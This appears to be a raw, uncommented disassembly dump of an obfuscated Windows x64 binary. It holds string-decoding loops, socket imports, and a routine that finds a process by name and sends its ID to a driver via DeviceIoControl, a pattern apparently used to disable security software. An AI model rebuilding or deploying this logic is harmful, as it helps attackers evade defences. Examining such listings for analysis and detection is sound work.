add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x46
inc rax
dec r11
inc r11
jmp 0x140110793
lea rcx, [rax + 8]
cmp r9, rcx
jne 0x140110bec
movzx edi, r11b
lea r8d, [rdi + 0x34]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x6c
add bl, r8b
jmp 0x1401111bc
movzx edi, r11b
lea r8d, [rdi - 0x78]
movzx ecx, r10b
and cl, r8b
movzx edx, byte [rsp + r11 + 0x40]
sub dl, cl
add dl, 0x24
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x14011121e
lea r8d, [r11 - 0x4e]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x140111272
lea edx, [r11 + 0x33]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x65
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea edx, [r11 - 0x4b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0xd
jmp 0x140111240
lea edx, [r11 + 0x37]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x7f
dec r11
inc r11
jmp 0x140110793
movzx edi, r11b
lea edx, [rdi - 0x1d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x35
jmp 0x1401111bc
movzx edi, r11b
lea edx, [rdi - 0x71]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x17
add dil, 0x73
movzx ecx, r10b
and cl, dil
add cl, cl
sub r10b, cl
sub r10b, 0x25
add r10b, dil
mov byte [rsp + r11 + 0x40], r10b
inc rax
dec r11
inc r11
jmp 0x140110793
lea edx, [r11 + 0x3b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x63
dec r11
inc r11
jmp 0x140110793
movzx edi, r11b
lea edx, [rdi + 0x11]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x77
sub dil, 0x63
movzx ecx, r10b
and cl, dil
add cl, cl
sub r10b, cl
sub r10b, 0x4b
add r10b, bl
add r10b, dil
mov byte [rsp + r11 + 0x40], r10b
add r9, rax
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x140110793
lea rdx, [r11 + r15]
movzx r10d, r8b
and r8b, dl
add r8b, r8b
movzx ebx, r10b
sub bl, r8b
sub bl, 5
add bl, dl
lea r8d, [r11 - 0x39]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub dl, 0x71
add dl, r8b
movzx ecx, dl
mov byte [rsp + r11 + 0x40], cl
inc rax
add rcx, rax
sub r11, rcx
lea edx, [r11 - 0x24]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
sub r10b, 4
add r10b, dl
mov byte [rsp + r11 + 0x40], r10b
inc r9
mov rcx, 0xffffffffffffffff
sub rcx, r9
add r11, rcx
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea rdx, [r11 + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea ebx, [rdx + r8]
add bl, 0x47
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
sub r11b, 0x17
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x5f
jmp 0x140110790
sub r11b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x39
jmp 0x140110780
lea rdx, [rbp + 0x163b95c]
jmp 0x140111eff
lea rdx, [rbp + 0x4dfa71]
jmp 0x140111eff
lea rdx, [rsp + 0x40]
jmp 0x140111eff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [r13 + 0x18], rax
cmp rax, 0xffffffffffffffff
jne 0x140111f63
mov dword [rbp + 0x60], 0xe7fbf218
mov dword [rbp + 0x64], 0xe33cf1fd
mov dword [rbp + 0x68], 0xf0f639ef
mov dword [rbp + 0x6c], 0xbc409ec
mov dword [rbp + 0x70], 0xc1e0a14
mov dword [rbp + 0x74], 0xafa6ce10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rax
mov word [rbp + 0x90], ax
mov byte [rbp + 0x92], al
movabs rsi, 0x804c10e17d046573
movabs r15, 0x8214762a6b1ec625
movabs r14, 0x80e432a4770d3059
movzx r11d, byte [rbp + 0x190]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x140111efb
movzx r10d, byte [rbp + rbx + 0x60]
mov rdx, r10
cmp r8, rbx
ja 0x140111ef2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140111461
lea rcx, [rbx + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x25
jmp 0x140111490
je 0x140111e8d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140111e12
lea rax, [r9 + 5]
cmp r8, rax
je 0x140111dbf
lea rax, [r9 + 9]
cmp r8, rax
je 0x140111d7d
nop
cmp r9, rbx
ja 0x140111ee9
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1401114bc
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 9
jmp 0x140111510
lea rax, [r9 + 1]
cmp r8, rax
je 0x140111d63
inc rax
cmp r8, rax
je 0x140111d43
lea rax, [r9 + 3]
cmp r8, rax
je 0x140111d29
lea rax, [r9 + 5]
cmp r8, rax
je 0x140111d0f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140111cf5
lea rax, [r9 + 9]
cmp r8, rax
je 0x140111ccd
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140111a55
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140111a33
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140111a10
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401119f0
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1401119ce
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401119b4
lea rcx, [r9 + 0x28]
cmp r8, rcx
je 0x14011199a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14011197b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14011195c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140111934
lea rax, [r9 + 9]
cmp r8, rax
je 0x140111520
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140111ecf
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140111eb5
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140111706
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1401116ec
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1401116d2
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1401118eb
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1401118a3
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x140111868
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140111846
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140111520
lea r8, [r9 + 0x7a]
lea r9, [r8 + 1]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140111819
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1401117ff
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401117e0
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401117c1
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401117a7
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14011178a
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140111765
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14011173d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140111720
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140111520
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x140111520
lea ecx, [rbx + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x17
jmp 0x140111510
lea ecx, [rbx - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x33
jmp 0x140111490
lea ecx, [rbx - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7d
jmp 0x140111432
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
movzx edi, bl
jmp 0x140111d95
lea edx, [rbx - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140111422
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140111422
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6a
movzx edi, bl
jmp 0x140111dd7
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x140111df6
lea edx, [rbx - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111df9
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111e2c
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
jmp 0x140111e4f
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
lea ecx, [rbx + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3f
mov byte [rbp + rbx + 0x60], r11b
inc rbx
jmp 0x140111422
lea ecx, [rbx + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xb
cmp r9, 0x61
jb 0x14011185b
movzx edi, bl
lea ecx, [rdi - 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x7c]
jmp 0x140111d95
lea ecx, [rbx + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x55
cmp r8, 0x20
jae 0x140111c89
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140111bba
lea edx, [rbx - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011187d
lea ecx, [rbx + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x61
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140111caf
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140111b22
lea ecx, [rbx + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2f
jmp 0x1401118b8
lea ecx, [rbx - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x36
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111e4f
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111e2c
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x140111df9
lea ecx, [rbx + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
jmp 0x140111df6
movzx edi, bl
lea edx, [rdi + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111dd7
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
dec rbx
inc rbx
jmp 0x140111422
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140111422
movzx edi, bl
lea edx, [rdi + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111d95
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140111a78
lea ecx, [rbx + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x25
jmp 0x140111900
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140111aa9
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
inc rax
cmp r8, rax
jne 0x140111ad0
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111df9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140111af3
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
jmp 0x140111df6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140111900
movzx edi, bl
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140111dd7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140111b48
movzx edi, bl
lea ecx, [rdi + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1b
jmp 0x140111d95
inc rax
cmp r8, rax
jne 0x140111b70
lea ecx, [rbx + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
dec rbx
inc rbx
jmp 0x140111422
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140111b93
lea ecx, [rbx - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x43
jmp 0x140111df6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401118b8
lea ecx, [rbx - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x73
jmp 0x140111df9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140111beb
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140111c0e
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
jmp 0x140111df9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140111c31
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x140111df6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140111c5f
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140111422
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14011187d
movzx edi, bl
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x140111d95
movzx edi, bl
lea edx, [rdi - 0x48]
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x60]
sub r11b, al
sub r11b, 8
add r11b, dl
add r11b, r10b
jmp 0x140111dd7
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x60]
lea r11d, [r10 + rcx]
sub r11b, 0x52
jmp 0x140111e2c
lea ecx, [rbx - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x5d
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
lea ecx, [rbx - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
jmp 0x140111e2c
lea ecx, [rbx - 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3b
jmp 0x140111df9
lea ecx, [rbx - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
jmp 0x140111df6
lea ecx, [rbx + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x19
dec rbx
inc rbx
jmp 0x140111422
movzx edi, bl
lea ecx, [rdi + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x53
jmp 0x140111d95
movzx edi, bl
lea ecx, [rdi - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
add dil, 0x45
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x1d
add dil, r10b
mov byte [rbp + rbx + 0x60], dil
inc r9
dec rbx
inc rbx
jmp 0x140111422
movzx edi, bl
lea ecx, [rdi - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1f
add dil, 0x2b
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x2d
add dil, r11b
add dil, r10b
mov byte [rbp + rbx + 0x60], dil
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140111422
lea rcx, [rbx + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 3
add r11b, cl
lea ecx, [rbx + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x77
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x60], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x60], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x6f
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140111422
sub bl, 0x41
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x39
jmp 0x140111420
sub bl, 0x27
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x11
jmp 0x140111410
lea rdx, [rbp + 0x17429a4]
jmp 0x140111eff
lea rdx, [rbp + 0xf88f17]
jmp 0x140111eff
lea rdx, [rbp + 0x60]
mov rcx, qword [0x140220750]
call fcn.140064200
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400455b0
lea rcx, [rbp + 0x1b0]
call fcn.1400455b0
nop
lea rcx, [rbp + 0x198]
call fcn.1400455b0
xor al, al
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x1c8]
call fcn.1400455b0
lea rcx, [rbp + 0x1b0]
call fcn.1400455b0
nop
lea rcx, [rbp + 0x198]
call fcn.1400455b0
mov rsi, qword [rbp + 0x120]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140112030
mov dword [rbp + 0x230], 0x130
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x234]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x230]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140112027
nop dword [rax]
lea rax, [rbp + 0x25c]
mov r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140112003
inc rax
test ecx, ecx
jne 0x140111ff0
test edx, edx
je 0x14011201d
lea rdx, [rbp + 0x230]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140111fe0
jmp 0x140112027
mov eax, dword [rbp + 0x238]
mov qword [r13 + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [r13 + 0x20], 0
je 0x140111f31
mov rdx, rsi
mov rcx, r13
call fcn.140112110
mov qword [r13], rax
mov rdx, rsi
mov rcx, r13
call fcn.140112210
mov qword [r13 + 8], rax
cmp qword [r13 + 0x10], 0xffffffffffffffff
je 0x140111f31
lea rcx, [rbp + 0x200]
call fcn.1401120d0
mov rax, qword [r13 + 0x20]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + Ordinal_41], 0x28
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x200]
mov edx, 0x221dd4
mov rcx, qword [r13 + 0x18]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov al, 1
jmp 0x140111f33